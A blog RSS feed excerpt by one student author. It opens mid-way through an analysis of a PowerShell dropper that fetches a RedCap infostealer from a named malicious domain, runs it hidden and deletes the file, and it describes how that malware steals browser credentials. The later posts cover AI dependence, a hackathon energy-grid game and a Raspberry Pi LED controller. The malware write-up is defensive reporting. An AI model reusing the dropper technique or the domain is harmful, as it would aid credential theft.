&lt;p&gt;The attacker created an integer flag here called &lt;code&gt;$ok&lt;/code&gt;, which acts as a boolean to check whether the binary has been downloaded from &lt;code&gt;bigboysclub.cyou&lt;/code&gt; (just the domain name gives me the ick). Next there's a for loop with a try-catch statement that attempts to download the file up to 3 times. If the file fails to download, the script exits without a trace. If the download is successful, &lt;code&gt;Start-Process -FilePath $f -WindowStyle Hidden;&lt;/code&gt; is called. This runs the malicious binary that has just been installed in a hidden window, meaning the victim cannot see it running.&lt;/p&gt;

&lt;p&gt;Once the file starts to run, the malicious script then runs:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Remove-Item -LiteralPath $f -Force -ErrorAction SilentlyContinue&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This removes both the temporary directory and the downloaded file from the machine, while keeping the newly installed binary running in memory. The file being removed when the script than made me assume that it was just a installer for another bit of Malware that would run on the system thought at 2mb it would have incredibly heavily obfuscated as a installer or incredibly poorly written. We will find out shortly, I was wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reverse Engineering the Binary
&lt;/h2&gt;

&lt;p&gt;So the next job was working out why, how, or what this binary does. I really had no idea where to start, so after a bit of googling I found out about something called REMnux. Starting off with an app called Cutter, it became clear that the Trojan was written in Go. I couldn't get any further with Cutter (that's a user issue more than anything), so I moved to Ghidra with the Go extension. There was a lot of gibberish I did not fully understand, but looking at the libraries that were being imported it was definitely designed to make requests to an outside network. I spent probably another hour or two messing around with hex data (again, I had never attempted to reverse engineer or analyse malware before this) before I decided the best thing to do would be to run it and monitor the network traffic.&lt;/p&gt;




&lt;h2&gt;
  
  
  Identifying the Malware
&lt;/h2&gt;

&lt;p&gt;I started off looking for Windows monitoring tools and came across a site called Hybrid Analysis, which did a lot of the heavy lifting here. Once the binary was uploaded, it was identified as a Redcap infostealer Trojan &lt;sup id="fnref1"&gt;1&lt;/sup&gt; using ChaCha20 to encrypt traffic and send it to the attacker's server (the IP will not be mentioned here), while spoofing its user agent as a macOS Firefox user agent. Odd considering this was a Windows VM with Firefox not installed. I'm assuming this is to help blend the traffic in and avoid antivirus detection.&lt;/p&gt;

&lt;p&gt;It was also running an infostealer that was trying to access the standard format of cookies and passwords for both Chrome and Firefox, as well as attempting to change local proxy settings to capture future network traffic, and creating a persistence layer for when the binary gets removed at the end of the PowerShell script mentioned earlier. Finally, it tried and failed at spoofing a certificate pretending to be Postman. In theory this would help Windows trust the binary and make it less likely to be blocked; however, in this case the certificate was invalid and corrupted.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reporting and Takedown
&lt;/h2&gt;

&lt;p&gt;Being the good little programmer I am I was filling out abuse forms throughout this process. When we first found the domain &lt;code&gt;bigboysclub.cyou&lt;/code&gt; it was reported to both Cloudflare and the domain registrar. Halfway through writing this, about three hours later, I went to grab some screenshots only to find that Cloudflare had already removed all the redirects (A email saying something had happened would be nice, but i guess ill let them slide this time). The VPS was reported to Hetzner and I'll add an edit if I get a response.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;I have never done any form of reverse engineering before or looking behind the curtain and its exciting as well as interesting. If anyone has any suggestions about how you would have done this or some resources on reverse engineering please send a message on the discord. (Also as that website been hacked iv never got to book a table at a bar. If you got any fun drinking spots in London also send me a message, im running out of ideas,)&lt;/p&gt;

&lt;p&gt;If you enjoyed the blog or want to continue the discussion, check out the &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;. To get updates about future articles, feel free to follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And if you feel like buying this university student a cup of tea, check out the Buy Me a Coffee icon in the bottom right.&lt;/p&gt;




&lt;ol&gt;

&lt;li id="fn1"&gt;
&lt;p&gt;RedCap is a malware family categorized as a backdoor and information stealer, which threat actors use to harvest credentials and compromise systems, particularly by targeting Microsoft Exchange Servers. ↩&lt;/p&gt;
&lt;/li&gt;

&lt;/ol&gt;

</description>
      <category>cybersecurity</category>
      <category>malware</category>
      <category>cryptography</category>
      <category>discuss</category>
    </item>
    <item>
      <title>An Epidemic of Learned Helplessness</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Thu, 01 Jan 2026 14:02:07 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/an-epidemic-of-learned-helplessness-14cc</link>
      <guid>https://dev.to/the_tea_drinker/an-epidemic-of-learned-helplessness-14cc</guid>
      <description>&lt;p&gt;Ok ok ok, I have a feeling this article might be a divisive one, and I accept that the people I speak to often have similar views to me, but I think we’re moving into an epidemic of learned helplessness. The skills of a programmer are fading away. I’m only 19, but I realise this article does have an “old man yelling ‘back in my time’” kind of vibe. I’m not an expert, I have no qualifications, but I have 11 years of programming experience, I run the IT society at university, and I also work as a freelance programmer.&lt;/p&gt;

&lt;p&gt;In a world of tutorial hell, AI, and being surrounded by people who will help, the art of debugging and creating has been lost. I’m a second year uni student, and we have lecturers who strongly encourage the use of AI and Copilot. But what people don’t see is that they’re not learning to code, they’re learning to press Tab. When they have an issue, they copy the code into ChatGPT or another LLM of choice, generally with the prompt “please fix this.” When that inevitably fails, they then come to a support session asking for “help.” By help, they mean “please fix this for me.”&lt;/p&gt;

&lt;p&gt;I was at the UKIPCE recently. No AI, no fancy tools, just you, your documentation, and a pad of paper. I can't lie, using AI for a few months at uni and the “just press tab to complete the loop” felt so productive that I realised I was slowing myself down in the long run, forgetting syntax and language quirks, and having to refer to the documentation more than I used to. The people who had only learnt to code since being at university really struggled. They had gotten into the habit of using Copilot as their starting point, using the ask mode to make a plan and then the agent mode to execute it. Despite what they believe, it turns out they had never learnt to code; they had learnt to ask an AI.&lt;/p&gt;

&lt;p&gt;Coding is more than just writing code,  it’s learning to problem solve, it’s learning critical thinking, it’s learning to understand technical documents, to understand algorithms and logic. All of these are skills that people don't need to learn anymore. Your project shouldn't be a black box. Looking back on the project, while the auto completed solution for an individual loop was correct, when you zoom out and look at the project as a whole, you find it’s actually slowing down the product and overall is a terrible solution.&lt;/p&gt;

&lt;p&gt;The meme used to be “don’t read the documentation, just ask Stack Overflow,” but now it’s becoming “don’t even think, and publish that Flutter app with sensitive data to the internet.” Why would you ever need to learn Dart? It’s not all new programmers’ fault they learnt to use AI so heavily. At a lot of universities, they’re pushing AI and Copilot as the tool that can 10x your productivity, put you ahead of the job competition, and massively improve your portfolio. If you’re a 10x developer with AI but cannot write a simple bubble sort without it, then sorry, but you’re not a developer at all. While their new fancy portfolios do get them interviews, you find that when they get to the technical interviews and are handed a pad of paper, they freeze.&lt;/p&gt;

&lt;p&gt;Now I hear what you are saying, Michael, you yell. You cannot rule out AI altogether. You’d be left in the past. Unemployable. Well, I do think there is a time and a place for AI, and that is initial research and design. If there’s a topic you know very little about, getting AI to give you a brief TLDR on the topic and some starting sources is an amazing use. When you continue that deep dive into the topic and you find an unfamiliar JS framework (it’s hard to keep up with the amount being published every day) or a sister topic that you’re also unfamiliar with, then AI is a great use to get an example of how it works or ask some key questions to help cement your understanding. I use AI to help me study like this and I'm doing well (averaging at 75%).&lt;/p&gt;

&lt;p&gt;Prototyping is, I’ll admit, an important job but it’s boring and it will be scrapped. We make a prototype because the client never knows what they want when writing the original brief. Getting an LLM to make you a quick GUI mock up with some simple HTML and CSS is an amazing use of AI. There’s no key functionality here, nothing that can lead to a security issue, and let’s be honest , I don't enjoy writing HTML, and I’ll admit AI is pretty good at it.&lt;/p&gt;

&lt;p&gt;Here is my challenge for you all: go to the ChatGPT / Copilot / Claude page and delete your account, and program properly again. Or, even better, make a tally of every time you use AI in a project and do that number × 10 push ups. I bet you will watch the number fall, and end January healthier.&lt;/p&gt;

&lt;p&gt;If you enjoyed the blog or want to continue the discussion, check out the &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;. To get updates about future articles, feel free to follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And if you feel like buying this university student a cup of tea, check out the &lt;a href="https://buymeacoffee.com/michaelrbparker" rel="noopener noreferrer"&gt;Buy Me A Coffee&lt;/a&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>computerscience</category>
      <category>ai</category>
      <category>discuss</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sun, 21 Dec 2025 10:48:18 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/-6ek</link>
      <guid>https://dev.to/the_tea_drinker/-6ek</guid>
      <description>&lt;div class="ltag__link"&gt;
  &lt;a href="/the_tea_drinker" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2624737%2Fa5815cae-583f-4905-9d4d-b4cc34792d27.jpeg" alt="the_tea_drinker"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="https://dev.to/the_tea_drinker/michael-vs-hackpompey-round-2-16d8" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Michael VS HackPompey Round 2&lt;/h2&gt;
      &lt;h3&gt;Michael Parker ・ Dec 20&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#python&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#hackathon&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#webdev&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#programming&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


</description>
      <category>python</category>
      <category>hackathon</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Michael VS HackPompey Round 2</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sat, 20 Dec 2025 20:54:18 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/michael-vs-hackpompey-round-2-16d8</link>
      <guid>https://dev.to/the_tea_drinker/michael-vs-hackpompey-round-2-16d8</guid>
      <description>&lt;h2&gt;
  
  
  Michael VS HackPompey Round 2
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pre-Waffle
&lt;/h3&gt;

&lt;p&gt;After attending and destroying &lt;a href="https://blog.michaelrbparker.com/post/10" rel="noopener noreferrer"&gt;my first hackathon last year&lt;/a&gt; . I was itching for another one, so I went to Hack Pompey this year to defend my title (and for the free food and merch—okay, mostly for the food and merch). Ready to defend my title we had rocked up with nothing but our laptops, a crate of Celsius, and our sleep-deprived brains.&lt;/p&gt;

&lt;p&gt;This year it was sponsored by SSEN (Thank you for the beanie) and they had given us a load of data straight from the grid. I was hopeful for good, easy-to-use, clean data and you know what. They were halfway there. All the data was in fact clean. Traversing it and using it was a nightmare. The API returned JSON-LD (I had never seen Linked JSON before) and it only linked to the multi-page excel files. It was API armageddon. After working around with it up till lunch we had managed to untangle the web of data and had created our own API with a caching server to not overload their API or hit a rate limit.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We make a request to their linked JSON file.&lt;/li&gt;
&lt;li&gt;We download every linked excel file. (SSEN if you're reading this. Please switch to CSV. Pretty Please).&lt;/li&gt;
&lt;li&gt;We then extract every page from every spreadsheet.&lt;/li&gt;
&lt;li&gt;I then check the row against the premade list of "Scottish terms" and if a "Scottish term" is found that row is extracted and put into our own local caching server.&lt;/li&gt;
&lt;li&gt;A Flask server hosts a local API that reads from the saved cache file and repeats steps 1 to 4 every 5 minutes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here is the code for the parser and API: &lt;a href="https://github.com/micfun123/bring_down_scotland/blob/main/sse_analyzer.py" rel="noopener noreferrer"&gt;CODE&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While the tech behind the parsers and the cache server is cool, I'm not sure it will win any awards. On the journey to victory, Dashboards. I don't know about you but I'd take a pretty dashboard over reading raw JSON almost any day. (Freak Fridays are the exception, that's when I look at the raw hexadecimals). With a bit of HTML, Bootstrap magic, and Flask (I will defend Flask till my dying breath) we actually started to have something presentable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3zpyky1yjivk7s8myy5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3zpyky1yjivk7s8myy5.png" alt="Dashboard" width="800" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakktucgux9mgflb1qj29.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fakktucgux9mgflb1qj29.png" alt="Dash2" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Last year I won one of the technical awards but I learnt last year that the real prize is the Public Choice Award. And the key to that is humor. So now we have this data, let's make something fun with it. Let's work out how many kettles are needed to take down the Scottish power system at any time and turn it into a game.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does the game work?
&lt;/h3&gt;

&lt;p&gt;It's actually rather simple but the best ideas often are. You can view the &lt;strong&gt;&lt;a href="https://downscot.michaelrbparker.com/" rel="noopener noreferrer"&gt;LIVE VERSION HERE&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find the current Available Capacity in MW of the Scottish power grid (turns out it does not change too much). We can do this by making a call to the API we made earlier.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next we do some maths.&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;kettle_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.0&lt;/span&gt;  &lt;span class="c1"&gt;# kW per kettle
&lt;/span&gt;&lt;span class="n"&gt;total_kettle_power&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kettle_count&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;kettle_power&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;  &lt;span class="c1"&gt;# Convert to MW
&lt;/span&gt;&lt;span class="n"&gt;remaining_capacity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;available_capacity&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;total_kettle_power&lt;/span&gt;
&lt;span class="n"&gt;blackout_percentage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total_kettle_power&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;available_capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Unlike last year this maths is very simple. We work out how many kettles have been added. Find out the remaining grid capacity and then finally work out how close we are to a blackout as a percentage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Next we display some warnings and some alerts. If we hit a blackout we want the screen to start flashing to show the power grid has gone down. Here was what the game looked like.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firmjhmz23pa329935fx4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firmjhmz23pa329935fx4.png" alt="Photo1" width="800" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs110c6vwy2mir19wghsu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs110c6vwy2mir19wghsu.png" alt="Photo2" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now for the hard part, a cracking presentation and this is where I think we need to thank the rest of the team as I'm not sure I'd be able to make it anywhere near as funny.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9aaj6zmd0nfmmme86f88.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9aaj6zmd0nfmmme86f88.png" alt="How Many" width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdj0q4kxwmkx9qf9a0h6u.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdj0q4kxwmkx9qf9a0h6u.jpg" alt="Presenting" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Put that all together, do some nervous on-stage rambling and BAM winning Public Choice Award combo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfusk7wbntth5203s5su.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfusk7wbntth5203s5su.jpg" alt="The worlds greatest team" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Thank yous. Now I want to thank a few people.
&lt;/h2&gt;

&lt;p&gt;First I want to thank the Hack Pompey Team:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Charlotte&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hannah&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ming&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sage and Jane&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jack&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tom&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ryan&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You managed to put on an amazing event again, thank you so much for all the time it took. Another thank you to Jack for suggesting we lean into a fun idea, Bringing Down Scotland was definitely the selling point of the project.&lt;/p&gt;

&lt;p&gt;Another thank you to SSEN for sponsoring the event and the amazing prizes.&lt;/p&gt;

&lt;p&gt;And finally one more massive thank you to my teammates and friends for making this event so much more enjoyable and for the great company:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/bethanyh05" rel="noopener noreferrer"&gt;Bethany&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/anirejlova" rel="noopener noreferrer"&gt;Ani&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://www.scarlettlarder.com/" rel="noopener noreferrer"&gt;Scarlett&lt;/a&gt;&lt;/strong&gt; (&lt;a href="https://github.com/Scarlett-Larder" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>hackathon</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>How to Build a Smart RGB LED Strip Controller with a Raspberry Pi Zero W</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Wed, 23 Jul 2025 09:05:25 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/how-to-build-a-smart-rgb-led-strip-controller-with-a-raspberry-pi-zero-w-1416</link>
      <guid>https://dev.to/the_tea_drinker/how-to-build-a-smart-rgb-led-strip-controller-with-a-raspberry-pi-zero-w-1416</guid>
      <description>&lt;p&gt;So this is a bit different. In a recent live stream, we coded an RGB strip light web control system using an old Raspberry Pi Zero W. After the stream, I received a few messages asking for a comprehensive guide on how to set it all up, so here it is, along with the demo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F28kdljae7ofamv609vvg.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F28kdljae7ofamv609vvg.gif" alt="Demo of lights working" width="560" height="259"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unlike most of my articles, there will be a video to go with it, so check the YouTube channel, where I will also explain how the code works.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Setting up the Pi
&lt;/h2&gt;

&lt;p&gt;I'll go a bit quickly here, as I'm assuming this is not the first time you've used a Raspberry Pi. Create your image on the SD card. I used the Raspberry Pi Imager tool for this. I used the Lite version, as I have no use for a GUI and decided I was going to set everything up over SSH. Use whichever image suits you best. When you get to the OS customisation option, make sure you set up an account and enable SSH. I used the username "lights". Again, you can use whatever username you want—just make sure you remember to use that name in the file paths later.&lt;/p&gt;

&lt;p&gt;Next, SSH into your Raspberry Pi. You can use the command &lt;code&gt;ssh username@ip&lt;/code&gt; in any operating system’s terminal. I found my Pi's IP address using a network scanning app.&lt;/p&gt;

&lt;p&gt;Once in, we are going to update and upgrade. This is very easy to do—just run the following command. This can take up to half an hour, so if it’s taking a while, don’t worry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next we want to disable GPIO18 this is fairly easy to do we are doing this to prevent audio interfearing with the GIO outputs. This is easy to do first we are going to open up the boot config as root&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo nano /boot/firmware/config.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then look for&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Enable audio (loads snd_bcm2835)
dtparam=audio=on
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;change the on to be off so after the edit it should look like&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Enable audio (loads snd_bcm2835)
dtparam=audio=off
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this reboot your raspbery pi with&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo reboot&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;this will take a few miniutes&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Installing the packages
&lt;/h2&gt;

&lt;p&gt;So we need to install some packages. You will see the &lt;code&gt;--break-system-packages&lt;/code&gt; flag—this may sound a bit scary, but as the Pi Zero is only controlling our lights, it is fine to install the libraries globally. If you are going to use the Pi to control something else as well, feel free to set up a virtual environment, but that’s a bit much for this article.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;`sudo pip install rpi_ws281x adafruit-circuitpython-neopixel` --break-system-packages
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;followed by&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo python -m pip install --force-reinstall adafruit-blinka` --break-system-packages
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and now its time for the fun part.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Wiring
&lt;/h2&gt;

&lt;p&gt;Make sure the power supply is suitable for the lights. The voltage and amps should be written on the strip somewhere. If you do what I’ve done and pull apart an old phone charger and join it to the LEDs, I would recommend using some heat shrink or some electrical tape. I’ve damaged equipment before by accidentally shorting circuits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F19raeh80auxje2pz46s6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F19raeh80auxje2pz46s6.png" alt="Wiring diagram made by Kattni Rembor" width="640" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Diagram made by Kattni Rembor&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Downloading the Project
&lt;/h2&gt;

&lt;p&gt;So step one clone the project&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/micfun123/Light-Web-Controller
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;next open the project&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; cd Light-Web-Controller
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then test everything is working before we get it to start up on boot and make it easy to control from our phone.&lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;sudo python app.py&lt;/code&gt; and you should see a URL. If you did your wiring right, it will all work. If not, check your cables.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: The final touches
&lt;/h2&gt;

&lt;p&gt;OK, so we are going to set up a systemd service to run the app on boot, as well as a hostname so we can just enter &lt;code&gt;smartlight.local&lt;/code&gt; into our browser and the page opens, instead of us having to find the IP every day.&lt;/p&gt;

&lt;p&gt;So, step one: run &lt;code&gt;sudo nano /etc/systemd/system/ledapp.service&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And we are going to paste in our config file:&lt;br&gt;
&lt;/p&gt;

